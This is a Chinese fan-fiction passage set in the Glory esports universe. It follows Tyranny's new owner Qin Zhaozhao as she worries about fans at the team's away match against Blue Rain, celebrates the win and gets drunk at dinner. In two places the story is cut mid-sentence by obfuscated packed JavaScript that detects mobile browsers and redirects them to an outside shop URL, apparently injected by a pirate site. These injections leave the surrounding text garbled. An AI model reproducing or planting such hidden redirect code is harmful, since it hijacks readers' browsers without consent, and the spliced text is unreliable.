而秦牧云,刚刚做完张新杰建议的放松练习,躺在床上,闭上眼睛。 这一次,他没有再想那些令人焦虑的问题。 他只是想起了秦昭昭说的那句话—— “打得开心点。” 他轻轻呼出一口气,嘴角微微上扬。 嗯,明天,要打得开心一点。 12.买下霸图的第十二天 第七赛季的脚步声越来越近,Q市的海风里都带上了火药味儿。 秦昭昭抱着手机在床上滚来滚去,指尖在屏幕上疯狂划拉,眉毛拧成两个小疙瘩。微博热搜榜上挂着好几个跟霸图相关的词条,她一个一个点进去,越看脸越黑。 #霸图银河战舰首战# #林敬言重返呼啸主场# #林敬言vs唐昊# 点进第三个话题,评论区热闹得像菜市场。有看热闹不嫌事大的路人,有摇旗呐喊的霸图粉丝,也有阴阳怪气的呼啸老粉。 “林敬言真敢回来啊,带着唐三打回娘家,啧啧。” “霸图这阵容看着吓人,打起来谁知道呢?” “呼啸从百花新买来的那个唐昊,听说挺凶的,林敬言这把老骨头扛得住吗?” “坐等打脸,银河战舰?别开场就沉了。” 秦昭昭盯着那条“老骨头”的评论看了三秒,切了个小号手指飞快打字:“你才老骨头!你全家都老骨头!林敬言那是成熟稳重!懂不懂啊你!” 打完发出去,气呼呼地退出微博。 手机“叮咚”一声,是战队群的消息。 大漠孤烟:明早八点大堂集合,九点出发去机场,请大家今晚整理好行李,不要遗漏账号卡和身份证。 石不转:收到。 百花缭乱:收到,我刚把账号卡塞行李箱最里层了,丢不了。 罗塔:收到!我已经开始收拾啦! 零下九度:收到。 唐三打:收到。 秦昭昭盯着林敬言那条简短的“收到”,脑子里又闪过微博上那些阴阳怪气的话。她翻身坐起来,打开浏览器搜索“N市呼啸主场安保情况”,搜了半天没搜出个所以然,反倒搜出一堆“电竞比赛粉丝冲突”的新闻。 “我的天……”她看着一条“某战队粉丝向对手选手扔矿泉水瓶”的报道,眼睛瞪得老大,“还真有这种事啊?” 她脑子里立刻浮现出画面:林敬言安安静静走进赛场,突然“嗖”一声,一个矿泉水瓶飞过来,啪叽砸他脑袋上。林敬言推了推眼镜,镜片上还挂着水珠,一脸无奈…… 不行!绝对不行! 秦昭昭跳下床,光着脚丫在房间里转圈圈,嘴里念念有词:“保镖……得雇保镖……雇几个呢?两个?四个?要不八个?反正老爹报销……” 转了几圈,她又停住了。 不对,林敬言肯定不会同意。那家伙看着斯斯文文,骨子里其实挺倔的,肯定觉得雇保镖太夸张了。 “那怎么办啊……”秦昭昭抓了抓头发,一屁股坐回床上,“总不能让他真挨砸吧?” 正纠结着,手机又响了。是老爹打来的。 “闺女!明天就要去N市比赛了吧?紧张不?” “紧张!”秦昭昭实话实说,“爸,你说我要不要雇几个保镖跟着战队?我看网上说有些粉丝可凶了,会扔东西!” 电话那头的秦大海沉默了三秒,然后爆发出震耳欲聋毫不掩饰的笑声:“哈哈哈哈!闺女啊闺女,你这是去打比赛还是去打仗啊?还雇保镖?你当你爹我是□□老大啊?” “我是认真的!”秦昭昭急了,“爸你没看新闻吗?真有粉丝扔矿泉水瓶的!” “哎呀,那是极个别情况。”秦大海笑够了,语气正经了点,“再说了,比赛场馆有安保的,你们选手有专用通道,粉丝进不去的。你放一百个心,真要有事,爸派人把那场馆都买了!” 秦昭昭:“……” 有时候她真的分不清老爹到底是在开玩笑还是在说真的。 “总之你别瞎操心。”秦大海说,“好好当你的老板,给队员们加油打气就行。对了,钱够不够?不够爸再给你打点?出门在外别委屈自己,住最好的酒店,吃最好的餐厅……” “够够够,爸你别打了,再打我账户要被银行风控了。”秦昭昭哭笑不得地挂了电话。 话是这么说,但心里那点担忧还是没消。 第二天早上八点,霸图全员准时出现在酒店大堂。 韩文清依旧是一身霸图队服,板着脸站在最前面,气势像要去攻城。张新杰站在他旁边,手里拿着平板,正在确认航班信息。张佳乐今天把头发扎起来了,小辫子翘在脑后,看起来精神抖擞。林敬言穿着件浅灰色衬衫,眼镜擦得锃亮,一副温文尔雅的样子。白言飞和秦牧云两人有点兴奋,凑在一起小声嘀咕着什么。 秦昭昭拖着行李箱走过来,眼睛下面挂着两个淡淡的黑眼圈。 “秦总,您没睡好?”张新杰推了推眼镜,敏锐地发现了她的异常。 “失眠了。”秦昭昭打了个哈欠,“满脑子都是矿泉水瓶。” 众人:“……” 张佳乐憋着笑问:“什么矿泉水瓶?” “就是……”秦昭昭刚要解释,突然看到林敬言投来的疑惑目光,赶紧把话咽回去,“没什么没什么,我做噩梦了。” 林敬言看着她那副欲言又止的样子,若有所思。 一行人上了去机场的车。秦昭昭特意挤到林敬言旁边的座位,压低声音问:“林敬言,你在呼啸打了这么多年,主场粉丝……凶不凶啊?” 林敬言愣了一下,随即明白过来她在担心什么,忍不住笑了:“秦总,您该不会是在担心粉丝闹事吧?” “能不怕吗!”秦昭昭瞪大眼睛,“我看新闻了!真有扔东西的!” “那是极少数。”林敬言温和地说,“呼啸的粉丝……其实挺好的。我在那儿那么多年,从来没遇到过那种事。大家就是来看比赛的,赢了欢呼,输了叹气,最多骂两句裁判眼瞎,不会真对选手怎么样的。” “真的?”秦昭昭将信将疑。 “真的。”林敬言点头,“再说了,我们走的是选手通道,直接进后台,观众席离得远着呢。您就放心吧。” 秦昭昭这才稍微松了口气,但心里那根弦还是没完全松下来。 到N市是下午两点。呼啸俱乐部安排的酒店就在场馆附近,五星级,环境不错。队员们放好行李后,被张新杰召集到会议室开会。 “明天下午三点,对阵呼啸战队。”张新杰打开投影仪,屏幕上显示出呼啸战队本赛季的阵容名单,“这是他们目前的阵容,大家看一下。” 秦昭昭凑过去看,目光一下子就被名单上某个名字吸引了。 “唐昊?”她念出那个名字,“这就是微博上说的那个唐昊?” “呼啸新买来的选手,十七岁,职业流氓,账号卡德里罗。”张新杰推了推眼镜,“根据资料显示,他在训练营的成绩很突出,打法……比较激进。” “激进?”秦昭昭眨眨眼,“什么意思?” “就是凶。”韩文清言简意赅。 张新杰调出一段录像,是百花训练营时期的比赛片段。屏幕上的流氓角色动作迅猛,连招狠辣,每个技能都带着一股“我要打死你”的劲儿。操作者显然是个急性子,能一套连死绝不打第二套,能正面强攻绝不绕后偷袭。 秦昭昭盯着屏幕上那个ID叫“德里罗”的流氓,又转头看了看坐在对面的林敬言。 林敬言今天穿了件米白色的针织衫,鼻梁上架着金丝眼镜,正安静地看着屏幕。 再看看屏幕上那个横冲直撞、一脸“不服来干”的流氓。 秦昭昭的眉头越皱越紧。 “怎么了秦总?”林敬言注意到她的表情,问道。 “这……”秦昭昭指着屏幕,又指了指林敬言,“这和你也差太远了吧!你那么斯文,这小子一看就是要去打架的!呼啸怎么找了个气质跟你完全相反的接班人啊?” 会议室里安静了两秒。 然后不知道是谁先“噗”了一声,接着所有人都笑了。 张佳乐笑得直拍大腿:“秦总您这话说的……哈哈哈,打架的……哈哈哈……” 白言飞也笑得前仰后合:“秦总,打游戏本来就是‘打架’啊!只是是用技能打,不是用拳头打!” “我知道!”秦昭昭脸有点红,“我的意思是气质!气质懂吗!林敬言这种……”她比划了一下,“温文尔雅,风度翩翩,一看就是文化人。那个唐昊……”她又指了指屏幕,“一看就是校门口收保护费的!” 这下连韩文清都忍不住勾了勾嘴角。 林敬言推了推眼镜,哭笑不得:“秦总,职业选手不看气质,看实力。” “我知道看实力!”秦昭昭嘟囔,“但我就是觉得别扭嘛……” 张新杰咳嗽一声,把话题拉回正轨:“唐昊的打法确实和林敬言差异很大。林敬言的风格偏重战术和节奏控制,唐昊则是纯粹的进攻型。明天的比赛,我们需要针对这种变化做出调整。” 他开始讲解战术安排,秦昭昭虽然听不太懂那些专业术语,但还是认真地记笔记。记着记着,她又开始走神,脑子里又冒出那些“粉丝扔矿泉水瓶”的画面。 会议结束后,队员们各自回房休息。秦昭昭叫住林敬言,神神秘秘地把他拉到一边。 “林敬言,你实话告诉我。”她压低声音,“你真的不担心明天粉丝的反应吗?我可是看到微博上好多人在阴阳怪气……” 林敬言看着她那双写满担忧的眼睛,心里涌起一股暖流。 “说实话,有点。”他坦诚道,“毕竟在呼啸待了那么多年,突然以对手的身份回去,心情确实挺复杂的。但担心粉丝闹事……真不至于。呼啸的粉丝我了解,他们就是嘴硬心软,骂归骂,不会真做什么出格的事。” “万一呢?”秦昭昭不依不饶,“万一有那么一两个极端分子呢?” 林敬言哭笑不得:“秦总,您这……” “不行!”秦昭昭一拍大腿,像是下了什么重大决定,“我还是得雇几个保镖!明天进场馆的时候跟着你,以防万一!” 林敬言:“……” “还有张佳乐!”秦昭昭越想越觉得这个主意靠谱,“等我们去百花主场的时候也得雇!我看了赛程表,下个月就要去K市了,到时候肯定也有粉丝闹事!双倍保镖!不,三倍!” 林敬言看着她那副“我要保护全世界”的架势,心里又是好笑又是感动。他想了想,决定还是把这个“好消息”分享给另一个人。 回到房间,他给张佳乐发了条微信:“秦总说要给我们雇保镖,明天进场馆的时候跟着,以防粉丝扔矿泉水瓶。” 几秒后,张佳乐回了一串问号。 百花缭乱:????保镖??? 唐三打:嗯,她怕我们挨砸。 百花缭乱:哈哈哈哈哈哈哈!秦总也太可爱了吧!但是……保镖?我们这是去打比赛还是去走红毯啊? 唐三打:我也这么觉得。但她好像很坚持。 百花缭乱:那就让她雇呗,反正她有钱。不过说真的……还挺感动的。以前在百花,老板可没这么护着我们。 唐三打:是啊。 林敬言放下手机,走到窗边。窗外是N市的街景,和他记忆中的样子没什么变化。远处能看到呼啸场馆的轮廓,那个他曾经进出过无数次的地方。 明天,他就要以对手的身份回去了。 心情确实复杂,但更多的是期待。期待在新的舞台上证明自己,期待和过去的队友交手,期待向所有人展示——他林敬言,就算换了战队,依然是联盟顶级的选手。 而那个有点脱线但特别真诚的老板,说要雇保镖保护他。 林敬言笑了,摇了摇头。 这个霸图,来对了。 第二天下午两点半,霸图战队抵达呼啸主场。 大巴车刚停稳,秦昭昭就“噌”地站起来,扒着车窗往外看。场馆外人山人海,穿着呼啸队服的粉丝举着应援牌,三五成群地聚集在一起。她紧张地搜寻着,生怕看到什么“林敬言滚出去”之类的标语。 还好,没有。 大多数粉丝都在讨论今天的比赛,偶尔能听到“林敬言”“唐三打”的名字,但语气还算正常,没有特别激烈的。 秦昭昭稍微松了口气,但手还是紧紧抓着背包带子。 队员们陆续下车,按照工作人员的指引往选手通道走。刚走了几步,突然有人低声喊了一声:“林队!” 所有人都停下脚步。 一个看起来二十出头的男生跑了过来,手里拿着个本子和笔,脸涨得通红:“林、林队……能给我签个名吗?我……我从S3赛季就喜欢你了!” 林敬言愣了一下,随即笑了:“我现在不是呼啸的队长了。” “我知道!”男生用力点头,“但你永远是我的偶像!我、我就是想告诉你……不管你去了哪里,我都会支持你的!” 林敬言看着那个男生真诚的眼睛,心里某个地方软了一下。他接过本子和笔,认真地签下自己的名字,还写了句“谢谢支持”。 男生接过本子,宝贝似的抱在怀里,朝林敬言鞠了一躬,也没声张,转身跑回了人群。 秦昭昭看着这一幕,鼻子突然有点酸。 原来……不全是骂声啊。 “看到了吗秦总?”张佳乐凑到她耳边,小声说,“粉丝其实很单纯的。喜欢就是喜欢,不会因为转会就真的恨你。” 秦昭昭点点头,心里的那块大石头终于落了地。 但下一秒,她又想起什么,猛地转头四处张望:“我雇的保镖呢?怎么没看见?” 张佳乐:“……” 林敬言:“……” 走在最前面的韩文清回头看了她一眼,眼神里写满了“你又搞什么幺蛾子”。 张新杰推了推眼镜,很平静地说:“秦总,我让李经理把保镖退了。比赛场馆的安保很严格,用不上。” “退了?!”秦昭昭瞪大眼睛,“可是我钱都付了!” “李经理说对方答应退款。” 秦昭昭张了张嘴,想说什么,最后只化作一声叹息:“好吧……退了也好,省得你们觉得我小题大做。” 她垂头丧气地跟着队伍走进场馆,那副样子活像只被抢了零食的小仓鼠。 林敬言和张佳乐对视一眼,都从对方眼里看到了笑意。 这个老板啊…… 进入后台休息室,队员们开始做最后的准备。秦昭昭在房间里转来转去,坐立不安,比要上场的选手还紧张。 “秦总,您能坐下来吗?”张新杰终于忍不住开口,“您转得我头晕。” “我紧张啊!”秦昭昭一屁股坐在沙发上,“这可是咱们的第一场比赛!不能输啊!” “输赢很正常。”韩文清头也不抬地说,“重要的是打出自己的东西。” “我知道……但我就是不想输嘛……”秦昭昭小声嘀咕。 特别是这场,对手是呼啸,是林敬言的老东家。要是输了,网上那些阴阳怪气的人肯定更来劲了。 时间一分一秒过去,比赛即将开始。工作人员来通知选手入场,秦昭昭“蹭”地站起来,挨个拍了拍队员们的肩膀。 “加油!好好打!赢了晚上我请客,吃最贵的!” 白言飞眼睛发亮:“真的?那我要吃龙虾!” “吃!管够!”秦昭昭大手一挥。 队员们笑了,气氛轻松了不少。 看着他们走出休息室的背影,秦昭昭深吸一口气,也跟着观众通道去了观赛区。 她的座位在第一排,视野极好。刚坐下,就听见旁边两个呼啸粉丝在聊天。 “听说霸图那个新老板特别有钱,把林敬言和张佳乐都买过去了。” “有钱有什么用,比赛又不是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16911177|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 比谁钱多。” “也是……不过今天还挺期待的,想看看林敬言打唐昊,老将vs新人,有看头。” 秦昭昭竖起耳朵听着,心里默默祈祷:一定要赢啊,一定要赢…… 灯光暗下,大屏幕上开始播放选手介绍。 当林敬言的脸出现在屏幕上时,场馆里响起了一阵复杂的声响。有掌声,有嘘声,有欢呼,也有叹息。秦昭昭紧张地攥紧了拳头。 介绍完毕,选手入场。 林敬言走在霸图队伍中间,表情平静,步伐稳健。他抬起头,看了一眼观众席,那里有他曾经最熟悉的颜色,有他曾经为之奋斗过的一切。 然后他收回目光,走向了属于霸图的选手席。 比赛开始。 个人赛第一场,霸图派出的是白言飞,呼啸派出的正是唐昊。 秦昭昭盯着大屏幕,眼睛都不敢眨。 地图载入,角色刷新。白言飞的元素法师罗塔出现在地图一端,唐昊的德里罗出现在另一端。 倒计时结束的瞬间,德里罗就如离弦之箭般冲了出去。 快!太快了! 秦昭昭虽然看不懂太多战术,但能看出来这个唐昊的操作风格。凶猛,直接,毫无花哨。他的流氓不像林敬言那样讲究节奏和算计,就是单纯的冲、打、连招、压制。 白言飞显然有点不适应这种打法,被逼得连连后退。但他毕竟是职业选手,很快调整过来,开始利用元素法师的远程优势进行周旋。 两人你来我往打了五分钟,最后白言飞凭借更丰富的经验和精准的技能衔接,以微弱优势取胜。 “赢了!”秦昭昭激动地跳起来,把旁边的观众吓了一跳。 个人赛第二场,霸图派出秦牧云,呼啸派出了一位老选手。这场打得比较胶着,最后秦牧云险胜。 个人赛第三场,方锐上场,呼啸扳回一城。 个人赛结束,霸图2:1领先。 秦昭昭稍微松了口气,但很快又紧张起来——接下来是擂台赛,然后是重头戏团队赛。 擂台赛,韩文清守擂。拳皇一出场,场馆里的气氛瞬间被点燃。大漠孤烟那刚猛霸道的打法,不管看多少次都让人热血沸腾。最后面对呼啸的守擂大将时,双方展开了一场激烈的对决。 最后,韩文清胜,但大漠孤烟的血量也只剩下了百分之十五。 擂台赛结束,霸图再拿分,总分领先。 “太好了!”秦昭昭兴奋得脸都红了。 休息时间,秦昭昭跑去后台休息室。队员们正在做最后的战术部署,张新杰在白板上画着复杂的阵型图,语速飞快地说着什么。韩文清抱着手臂站在旁边,偶尔点头。林敬言和张佳乐凑在一起低声交流,白言飞和秦牧云认真听着。 秦昭昭没敢打扰,就站在门口悄悄看。 她看到林敬言的表情很平静,但眼神专注而坚定。看到他和张佳乐说了句什么,张佳乐笑着点头。 那一刻,秦昭昭忽然觉得,自己的担心很多余。 这些人,可是联盟里最顶尖的选手啊。他们经历过无数场比赛,承受过无数压力,怎么可能被一场普通的常规赛吓倒? 她悄悄退了出去,回到观赛区。 团队赛开始。 地图载入——古堡废墟。 霸图阵容:韩文清拳法家,张新杰牧师,张佳乐弹药专家,林敬言流氓,白言飞元素法师。 呼啸阵容:唐昊流氓,方锐盗贼,加上其他几名选手。 比赛开始的瞬间,双方同时行动。 韩文清的大漠孤烟一马当先,直接冲向呼啸阵型中央。张佳乐的百花缭乱在后方开始火力压制,子弹和手雷如烟花般绽放。林敬言的唐三打则悄无声息地绕向侧翼。 而呼啸这边,唐昊的德里罗也毫不畏惧地迎上了韩文清。 两个流氓,两种风格,在这一刻正面碰撞。 林敬言的唐三打打法狡猾,擅长抓时机、打控制。唐昊的德里罗则是纯粹的暴力输出,每一招都带着碾碎一切的气势。 秦昭昭盯着大屏幕,手心全是汗。 她看到林敬言的唐三打在一个精妙的时机切入战场,一记板砖拍晕了呼啸的治疗。看到张佳乐的百花缭乱用绚丽的技能掩护韩文清冲锋。看到张新杰的石不转在枪林弹雨中稳稳抬住全队血线。看到白言飞的罗塔用范围技能封锁走位。 配合,天衣无缝的配合。 虽然才磨合了几周,但这些人仿佛已经在一起打了很多年。韩文清的刚猛,张佳乐的华丽,林敬言的狡猾,张新杰的严谨。这些截然不同的风格,在张新杰的战术体系下完美融合,形成了一种全新的、令人窒息的压迫感。 有句话说的对,通常最了解你的人就是你的对手,他们这些曾经是对手的人现在成了队员,成了最了解彼此的人。 比赛进行到第十五分钟,霸图已经建立了明显的优势。然后她看到,方锐在频道上发了一句,也是整场比赛的唯一一句对话。 鬼迷神疑:老林,没想到我们还能有成为对手的一天。 唐三打:是啊,全力以赴吧。 第二十五分钟,呼啸的治疗被林敬言和张佳乐联手击杀。 第三十分钟,比赛结束。 霸图胜。 场馆里安静了几秒,然后爆发出热烈的掌声。有霸图粉丝的欢呼,也有呼啸粉丝对精彩比赛的致敬。 秦昭昭呆呆地看着大屏幕上“荣耀”两个大字,过了好一会儿才反应过来。 赢了? 真的赢了? 她兴奋地跳起来,挥舞着手臂大喊:“赢了!我们赢了!” 旁边的呼啸粉丝看了她一眼,眼神复杂,但没说什么。 秦昭昭才不管呢,她兴奋得像个孩子,掏出手机就给老爹发消息:“爸!我们赢了!首胜!看到没!” 几秒后,老爹回复:“牛逼!闺女牛逼!晚上庆功宴!爸报销!吃最贵的!” 赛后,队员们回到后台。秦昭昭第一个冲进去,挨个拥抱——先抱了韩文清,被对方僵硬的身体吓了一跳;又抱了张新杰,对方推了推眼镜说了句“秦总注意形象”;抱到张佳乐时,对方笑着拍了拍她的背;抱到林敬言时,她特别用力。 “林敬言!你太帅了!那个板砖拍得太准了!” 林敬言被抱得有点不好意思,但笑得很开心:“是大家一起打得好。” “都好都好!”秦昭昭松开他,转向所有人,“晚上我请客!想吃什么随便点!我爸报销!” 白言飞欢呼:“龙虾!我要吃龙虾!” “吃!”秦昭昭大手一挥,然后突然想起什么,转头问林敬言,“对了,那个找你要签名的小粉丝,你要不要叫他一起来吃饭?我看他挺真诚的。” 林敬言愣了一下,随即笑了:“秦总,人家是呼啸粉丝。” “呼啸粉丝怎么了?”秦昭昭眨眨眼,“喜欢你就是喜欢你,跟战队有什么关系?叫他来嘛,我请客!” 张佳乐在旁边笑:“秦总,您这胸怀,比海还宽广啊。” “那是!”秦昭昭得意地抬了抬下巴,“我爹说了,做人要大度!” 韩文清看着她那副样子,摇了摇头,但嘴角却微微上扬。 张新杰推了推眼镜,开始思考晚上聚餐的营养搭配。 而秦昭昭已经掏出手机,开始搜索N市最贵的海鲜餐厅了。 一边搜一边嘀咕:“保镖的钱省了,正好拿来吃大餐……嘿嘿,我可真会过日子……” 林敬言和张佳乐对视一眼,都从对方眼里看到了同样的想法。 这个老板,虽然总是不按常理出牌,虽然有时候脱线得让人哭笑不得。 但有她在,霸图接下来的日子一定会特别有意思。 13.买下霸图的第十三天 庆功宴的地点定在了N市一家挺有名的本帮菜馆,林敬言推荐的。他说这家店开了十几年,味道正宗,环境也好,最适合团队聚餐。 秦昭昭一听这话眼睛就亮了,立刻打电话定了最大的包间。挂掉电话后,她忽然想起什么,转头问林敬言:“哎,你说我要不要请方锐也来?他和你不是好搭档吗?反正都是吃饭,多双筷子的事。” 林敬言愣了一下,推了推眼镜:“这……不太合适吧?我们刚赢了呼啸……” “赢了才要请啊!”秦昭昭理直气壮,“这叫展示风度!再说了,方锐现在是你前队友,而且做了那么久的搭档。职业圈就这么大,抬头不见低头见的。” 她说得轻描淡写,好像请对手吃饭就跟请邻居串门一样自然。 林敬言看着她那副理所当然的样子,心里软了一下。他想了想,掏出手机:“那我问问他吧。” 他走到角落,打开微信,找到方锐的头像。那个顶着鬼迷神疑ID的盗贼小人正做着一个鬼脸,看起来就跟他本人一样跳脱。 林敬言打字:“在吗?吃过晚饭没,我们老板想请你吃个饭。” 消息发出去后,他盯着屏幕,心里有点忐忑。他和方锐的关系确实好,但今天这场比赛之后……总觉得怪怪的。他是霸图的人了,方锐是呼啸的人,两人刚刚在赛场上拼得你死我活,现在突然说要一起吃饭……心情很微妙。 没过多久,方锐的消息回了过来。 鬼迷神疑:已经吃过了老林,在食堂吃的,就不用请我们了,我们待会还得复盘,下次去Q市再请我吃饭吧。 林敬言看着那条消息,心里说不出是什么滋味。方锐的语气听起来和平常一样轻松,但他能感觉到那份刻意的疏离。“我们”“你们”,简单的两个词,划出了清晰的界限。 他对着手机屏幕发了会儿呆,手指悬在键盘上,打了几个字,又删掉。再打,再删。他想说点什么,想说“今天打得不错”,想说“你们那个唐昊挺凶的”,想说“下次见面再好好打一场”……但话到嘴边,又觉得说什么都不太合适。 最后,还是方锐又发来一条消息。 鬼迷神疑:恭喜你啊,老林。 短短六个字,林敬言盯着看了很久。 恭喜什么?恭喜赢了吗?还是恭喜转会成功?还是……恭喜他终于找到了一支有实力冲击冠军的队伍? 那句话里包含的东西太多了。有祝福,有欣慰,有高兴。祝福他前程似锦,欣慰他有好队友好老板,高兴他离冠军最近的一次。 林敬言忽然觉得鼻子有点酸,眼眶也有点热。他深吸一口气,抬手推了推眼镜,手指不经意地擦过眼角。 唐三打:嗯,谢谢,你也加油。 他回了这么一句,然后关掉手机。 就在这时,房间门被敲响了。林敬言连忙调整表情,走过去开门。 门外站着秦昭昭,她已经换下了队服,穿了件浅蓝色的连衣裙,头发松松地扎在脑后,脸上带着兴奋的红晕:“林敬言,准备好了吗?大家都要出发了!” “嗯,好了。”林敬言点点头,顿了顿又说,“方锐不来,他说他们已经吃过了,还要复盘。” “啊……”秦昭昭脸上闪过一丝失望,但很快就恢复了精神,“那算了,下次再请。走吧走吧,我都饿了!” 她转身招呼其他人,林敬言看着她的背影,心里的那点复杂情绪慢慢散去了。 是啊,现在是新的开始了。 一行人出了酒店,为了避免被粉丝认出来,都做了简单的伪装。韩文清戴了顶棒球帽,压低了帽檐。张新杰换了件普通的白衬衫,看起来像个刚下班的白领。张佳乐把头发散下来了,刘海遮住了半边脸。林敬言倒是没怎么打扮,就是摘了眼镜,换了件休闲外套。 秦昭昭看着他们这副“做贼心虚”的样子,笑得直不起腰:“你们至于吗?吃个饭搞得跟特务接头似的。” “秦总,您是不懂。”白言飞压低声音说,“要是被粉丝认出来,今晚就别想好好吃饭了,光签名就得签到手软。” “那我也要伪装!”秦昭昭来了兴致,从包里掏出个墨镜戴上,又找了条丝巾围在脖子上,对着酒店大厅的镜子左照右照,“怎么样?像不像女明星?” 张佳乐憋着笑:“像,特别像。就是女明星一般不会穿拖鞋出门。” 秦昭昭低头一看,自己脚上确实还穿着酒店的棉拖鞋。她脸一红,赶紧跑回房间换鞋。 等她再出来时,整个人焕然一新——高跟鞋,小裙子,头发重新梳过,脸上还补了点妆。她走到韩文清面前,转了个圈:“韩队,这次可以了吧?” 韩文清看了她一眼,点点头:“走吧。” 语气还是那么平淡,但秦昭昭已经习惯了。能让韩文清说“走吧”而不是“别闹”,已经是很大的进步了。 餐厅离酒店不远,走路十分钟就到了。包间在二楼,环境确实不错,装修雅致,墙上挂着水墨画,窗外能看到N市的夜景。 秦昭昭一进包间就豪气地挥手:“菜单拿来!随便点!今天不差钱!” 服务员递上菜单,她看都不看就递给韩文清:“韩队你先点,你们打完比赛肯定饿了。” 韩文清接过菜单,翻了翻,点了几个菜,然后又递给张新杰。菜单在队员们手里转了一圈,每个人都点了自己喜欢的菜。最后回到秦昭昭手里时,她已经兴奋得眼睛发亮:“这么多菜!太好了!对了,要不要喝点酒庆祝一下?” “职业选手不能喝酒。”张新杰推了推眼镜,语气严肃。 “我知道我知道!”秦昭昭赶紧说,“我说的是我喝!你们喝果汁!” 她说着,还真让服务员上了一瓶红酒。 菜陆陆续续上来了,摆了满满一桌。清炖狮子头,松鼠鳜鱼,红烧肉……每道菜都色香味俱全,光是看着就让人食指大动。 秦昭昭端起酒杯,站起来:“第一杯,庆祝咱们霸图首战告捷!干杯!” 所有人都举起杯子——队员们是果汁,秦昭昭是红酒。 玻璃杯碰在一起,发出清脆的响声。 “第二杯。”张佳乐也站起来,笑着说,“谢谢秦总请客!这顿饭吃完,我至少能胖三斤!” 大家哄笑。 秦昭昭豪爽地说:“胖就胖!吃饱了才有力气训练!” 气氛越来越热闹,大家边吃边聊,从今天的比赛聊到战术配合,从呼啸的新人聊到其他战队的动向。秦昭昭虽然插不上太多话,但她听得特别认真,偶尔问几个问题,队员们也都耐心解答。 聊着聊着,她就忘了自己杯子里是酒了。一口接一口,等反应过来时,半瓶红酒已经下肚了。 “秦总,您慢点喝。”林敬言注意到她脸越来越红,忍不住提醒。 “没事没事!”秦昭昭摆摆手,说话已经开始有点大舌头了,“我酒量可好了!我爹说了,我们老秦家的人,天生能喝!” 她说这话时,眼睛亮晶晶的,脸颊红扑扑的,像个炫耀自己得了小红花的小学生。 张新杰推了推眼镜,想说点什么,但看着秦昭昭那副开心的样子,又把话咽了回去。算了,今天赢了比赛,就让她高兴一下吧。 又过了一会儿,秦昭昭彻底不行了。 她先是话越来越多,从荣耀聊到她爹,从她爹聊到她小时候的糗事,从糗事聊到她最喜欢的韩剧男主角……话题跳跃得让人跟不上。 然后话开始变少,眼神开始迷离。 最后,“咚”一声,她脑袋砸在桌子上,睡着了。 包间里瞬间安静下来。 所有人都停下了筷子,大眼瞪小眼,看着趴在桌上不省人事的老板。 白言飞小心翼翼地戳了戳秦昭昭的肩膀:“秦总?秦总您还醒着吗?” 没反应。 秦牧云小声说:“秦总好像……喝醉了。” 这不是废话吗?所有人都想。 问题来了……现在怎么办? 不是嫌麻烦不想送老板回去,而是都想送老板回去。但谁送?怎么送?韩队送?张副队送?还是他们两个一起送?或者……轮流背回去? 大家你看看我,我看看你,都不知道该怎么开口。 最后还是韩文清最先站起来。他走到秦昭昭身边,弯下腰,一手扶住她的肩膀,一手伸到她腿弯处,轻轻一用力,就把她背起来了。 动作干脆利落,一点犹豫都没有。 秦昭昭不重,这是韩文清的第一反应。她个子不矮,但骨架小,身上没几两肉,背起来轻飘飘的,像背了个大号娃娃。 她出门的时候应该是抹了香水,这会儿酒气混着淡淡的香味,钻进韩文清的鼻子里。那味道说不上是什么香,有点像橘子,又有点像薄荷,清清爽爽的,很好闻。 韩文清顿了顿,调整了一下姿势,让秦昭昭趴得更舒服些,然后转身看向其他人:“你们继续吃,我送她回去。” “韩队,我跟你一起吧。”张新杰站起来。 “我也去。”林敬言说。 “还有我!”张佳乐举手。 韩文清看了他们一眼,点了点头。 于是,一行人就变成了这样——韩文清背着秦昭昭走在最前面,张新杰、林敬言、张佳乐、白言飞和秦牧云跟在后面,像一群保镖护着重要人物。 走出餐厅时,服务员看着这阵势,眼神都有点微妙。一个高大硬朗的男人背着个醉醺醺的年轻女孩,后面还跟着一群神色各异的男人……这画面怎么看怎么像□□电影里的场景。 还好,没人敢问。 夜风吹在脸上,凉丝丝的。秦昭昭在韩文清背上动了动,嘴里含糊不清地嘟囔了一句什么。 “韩队,秦总在说什么?”白言飞好奇地问。 韩文清侧耳听了听,没听清。秦昭昭的声音太小了,又含糊,像是梦呓。 走了几分钟,她又动了动,这次动作幅度大了一点,整个人在韩文清背上蹭了蹭,像是在找更舒服的姿势。她的脸颊贴在韩文清后颈的皮肤上,温热的呼吸喷在他脖子上,痒痒的。 韩文清身体僵了一下,但脚步没停。 “韩队,要不换我来背吧?”林敬言提议。 “不用。”韩文清声音平淡,“快到了。” 确实,酒店就在前面了。 回到酒店,一行人坐电梯上楼。秦昭昭的房间是总统套房,在最顶层。电梯里,所有人都没说话,只有电梯运行的轻微嗡嗡声,还有秦昭昭偶尔发出的哼哼声。 到了房间门口,韩文清示意张佳乐从他口袋里掏房卡。张佳乐手忙脚乱地找出房卡,刷开门。 房间里灯火通明,落地窗外是N市的璀璨夜景。韩文清背着秦昭昭走进去,环视一圈,径直走向卧室。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16915483|192419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>张新杰等人跟到卧室门口,就停下了脚步。毕竟是女孩子的房间,不好进得太深。 